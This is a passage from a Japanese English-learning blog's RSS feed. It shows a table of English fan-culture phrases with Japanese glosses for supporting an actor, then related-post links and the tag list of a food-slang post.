<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be hooked on</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜にはまっている</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be addicted to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に夢中だ、〜にはまっている、〜に凝っている、〜にうつつを抜かしている</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>can’t find my way out</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">出口がわからない、抜け出す道が見つからない</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 22px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to have mixed feelings about</strong></td>
<td style="width: 62.9762%; height: 22px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に複雑な感情を抱く</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fave</strong></td>
<td style="width: 62.9762%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">推し。favoriteの略</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>precious</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">尊い</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>perfect reaction</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">神対応　　　<br />塩対応は unfriendly reaction　</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stunningly</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">息が止まるほど</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>handsome</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">かっこいい、ハンサム。男女関係なく使用可</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>drop-dead</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">びっくりするくらい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>gorgeous</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ゴージャス</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>killer looks</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">すごくかっこいい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stan</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">推し。Stalker＋fanから派生した新語</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>bias</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">推し。K -POPファンが使用する表現。「物の見方が強く偏っている」という意味が転じて「推し」に</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to beat</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に打ち勝つ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>dazzling</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">輝かしい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>Omg</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">oh my godの略</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>wait no</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">待って</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>it’s too much</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">あんまりだ、しんどい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be actually（deeply） in love with</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を本当に愛している、にリアコ、〜にガチ恋している</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to say the least</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を控えめに言う</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fan of the whole group</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜の箱推し</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fal ling down the rabbit hole </strong><br /><strong>go down a rabbit hole</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">
<p>予測しない戻れない道に進んでしまう、本筋から外れる、不思議な体験をする<br />アリスが不思議の国に迷い込むことに由来。何時間もその情報に没頭していたという状況などに使用されます　</p>
</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get sucked into a vortex</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">渦巻に吸い込まれる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 21px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>mixed feelings</strong></td>
<td style="width: 62.9762%; height: 21px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">複雑な気持ち</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>perfect reaction</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">神対応</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cool</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">（スラング）かっこいい<br />冷たい、涼しいという意味ですが、1900年代前半ごろから「かっこいい」という意味のとして使われ始め、現在では定番の表現となっています</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>hot</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">（スラング）素敵、セクシー、かっこいい、〜が熱い</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>good-looking</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">外見がかっこいい、イケメン。男女関係なく使用可</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>attractive</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">魅力的な</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stylish</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">スタイリッシュな。男女関係なく使用可</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:199px;height:auto"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&amp;linkname=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&amp;linkname=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&amp;linkname=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&amp;linkname=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&amp;linkname=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&amp;linkname=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&amp;linkname=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&amp;linkname=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2026%2F03%2F15%2Fren_meguro_shogun%2F&#038;title=%E3%80%90%E6%8E%A8%E3%81%97%E6%B4%BB%E8%8B%B1%E8%AA%9E%E8%AC%9B%E5%BA%A7%E3%80%91%E3%82%AB%E3%83%8A%E3%83%80%E3%81%A7%E9%A0%91%E5%BC%B5%E3%81%A3%E3%81%A6%E3%82%8B%E7%9B%AE%E9%BB%92%E8%93%AE%E3%81%95%E3%82%93%E3%81%AB%E8%8B%B1%E8%AA%9E%E3%81%A7%E5%BF%9C%E6%8F%B4%E3%83%A1%E3%83%83%E3%82%BB%E3%83%BC%E3%82%B8%E3%82%92%E9%80%81%E3%82%8D%E3%81%86%EF%BC%81%E4%BD%BF%E3%81%88%E3%82%8B%E3%83%95%E3%83%AC%E3%83%BC%E3%82%BA%E9%9B%86" data-a2a-url="https://ffeng.jp/2026/03/15/ren_meguro_shogun/" data-a2a-title="【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集"></a></p>The post <a href="https://ffeng.jp/2026/03/15/ren_meguro_shogun/">【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/01/ren_ganbatte/' title='【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/08/ren.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【推し活英語講座】目黒蓮さんに頑張ってね！って英語でお見舞いやエールを送ろう。使えるフレーズ集</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/06/01/uminohajimari/' title='【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/06/3c41fc5556d76e33e5ed3099418d0299.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/' title='【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?resize=65%2C65&amp;ssl=1 65w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/11/content.png?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6809</post-id>	</item>
		<item>
		<title>SWICYやFRICYって知ってる？最新フード系スラング</title>
		<link>https://ffeng.jp/2026/03/04/swicy_fricy_slang/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Wed, 04 Mar 2026 14:55:01 +0000</pubDate>
				<category><![CDATA[Buzzwords]]></category>
		<category><![CDATA[アメリカ・イギリス英語]]></category>
		<category><![CDATA[カルチャー]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[ホットトピック]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[注目コラム]]></category>
		<category><![CDATA[異文化間コミュニケーション]]></category>
		<category><![CDATA[＃最新ハッシュタグ事情]]></category>
		<category><![CDATA[2026年]]></category>
		<category><![CDATA[Astringent]]></category>
		<category><![CDATA[Bitter]]></category>
		<category><![CDATA[Bittersweet]]></category>
		<category><![CDATA[Bland]]></category>
		<category><![CDATA[Burnt]]></category>
		<category><![CDATA[Chewy]]></category>
		<category><![CDATA[Creamy]]></category>
		<category><![CDATA[Crispy]]></category>
		<category><![CDATA[Crunchy]]></category>
		<category><![CDATA[Crusty]]></category>
		<category><![CDATA[Fatty]]></category>
		<category><![CDATA[Fishy]]></category>
		<category><![CDATA[Flaky]]></category>
		<category><![CDATA[Flavor bomb]]></category>
		<category><![CDATA[Flavor explosion]]></category>
		<category><![CDATA[Flavor pairing]]></category>
		<category><![CDATA[Flavorful]]></category>
		<category><![CDATA[Fluffy]]></category>
		<category><![CDATA[Food matching]]></category>
		<category><![CDATA[Fresh]]></category>
		<category><![CDATA[Fricy]]></category>
		<category><![CDATA[Fruity]]></category>
		<category><![CDATA[Gooeyとろり]]></category>
		<category><![CDATA[Greasy]]></category>
		<category><![CDATA[hot]]></category>
		<category><![CDATA[JUICY]]></category>
		<category><![CDATA[Light]]></category>
		<category><![CDATA[Marriage]]></category>
		<category><![CDATA[Marry]]></category>
		<category><![CDATA[Marrying the flavors]]></category>
		<category><![CDATA[Mellow]]></category>
		<category><![CDATA[Melt-in-the-mouthとろける]]></category>
		<category><![CDATA[Melty]]></category>
		<category><![CDATA[Newstalgic]]></category>
		<category><![CDATA[Nutty]]></category>
		<category><![CDATA[Refreshing]]></category>
		<category><![CDATA[Rich]]></category>
		<category><![CDATA[roasty]]></category>
		<category><![CDATA[Salty]]></category>
		<category><![CDATA[Savory]]></category>
		<category><![CDATA[Sizzle Word]]></category>
		<category><![CDATA[Slap]]></category>
		<category><![CDATA[Smoky]]></category>
		<category><![CDATA[SNS]]></category>
		<category><![CDATA[soft]]></category>
		<category><![CDATA[SOUR]]></category>
		<category><![CDATA[Spicy]]></category>
		<category><![CDATA[Sticky]]></category>
		<category><![CDATA[Strong]]></category>
		<category><![CDATA[Swalty]]></category>
		<category><![CDATA[Swangy]]></category>
		<category><![CDATA[Swavory]]></category>
		<category><![CDATA[Sweet]]></category>
		<category><![CDATA[Swicy]]></category>
		<category><![CDATA[Tangy]]></category>
		<category><![CDATA[Tender]]></category>
		<category><![CDATA[umami]]></category>
		<category><![CDATA[Weak]]></category>
		<category><![CDATA[Z世代]]></category>
		<category><![CDATA[あっさり]]></category>
		<category><![CDATA[うま味がある]]></category>
		<category><![CDATA[さっぱりした]]></category>
		<category><![CDATA[ねっとり]]></category>
		<category><![CDATA[ねばねば]]></category>
		<category><![CDATA[ふわふわ]]></category>
		<category><![CDATA[ふんわり]]></category>
		<category><![CDATA[ほろほろ崩れる]]></category>
		<category><![CDATA[ほろ苦い]]></category>
		<category><![CDATA[まろやか]]></category>
		<category><![CDATA[もちもち]]></category>
		<category><![CDATA[や食感]]></category>
		<category><![CDATA[アメリカ]]></category>
		<category><![CDATA[カジュアル]]></category>
		<category><![CDATA[カリカリ]]></category>
		<category><![CDATA[クリーミー]]></category>
		<category><![CDATA[サクサク]]></category>
		<category><![CDATA[サクッとした]]></category>
		<category><![CDATA[シズルワード]]></category>
		<category><![CDATA[シャキシャキ]]></category>
		<category><![CDATA[ジューシー]]></category>
		<category><![CDATA[スウェイヴォリー]]></category>
		<category><![CDATA[スウォルティ]]></category>
		<category><![CDATA[スパイシーフード]]></category>
		<category><![CDATA[スワイシー]]></category>
		<category><![CDATA[スワンジー]]></category>
		<category><![CDATA[トレンド]]></category>
		<category><![CDATA[ニュースタルジー]]></category>
		<category><![CDATA[バリバリ]]></category>
		<category><![CDATA[パリパリ]]></category>
		<category><![CDATA[フライシー]]></category>
		<category><![CDATA[フルーティーな]]></category>
		<category><![CDATA[フードスラング]]></category>
		<category><![CDATA[フードトレンド]]></category>
		<category><![CDATA[フード系]]></category>
		<category><![CDATA[ベタベタ]]></category>
		<category><![CDATA[ボリボリ]]></category>
		<category><![CDATA[一口で味のパンチがすごい]]></category>
		<category><![CDATA[人種の多様化]]></category>
		<category><![CDATA[口の中で溶ける]]></category>
		<category><![CDATA[口の中で色々な味が広がる]]></category>
		<category><![CDATA[味が濃い]]></category>
		<category><![CDATA[味が薄い]]></category>
		<category><![CDATA[味の特徴]]></category>
		<category><![CDATA[味や香り]]></category>
		<category><![CDATA[味をなじませる]]></category>
		<category><![CDATA[噛み応えがある]]></category>
		<category><![CDATA[塩辛い]]></category>
		<category><![CDATA[形容詞]]></category>
		<category><![CDATA[新鮮な]]></category>
		<category><![CDATA[最高にイケてる]]></category>
		<category><![CDATA[材料を混ぜて]]></category>
		<category><![CDATA[柔らかい]]></category>
		<category><![CDATA[海外の食文化への関心]]></category>
		<category><![CDATA[渋い]]></category>
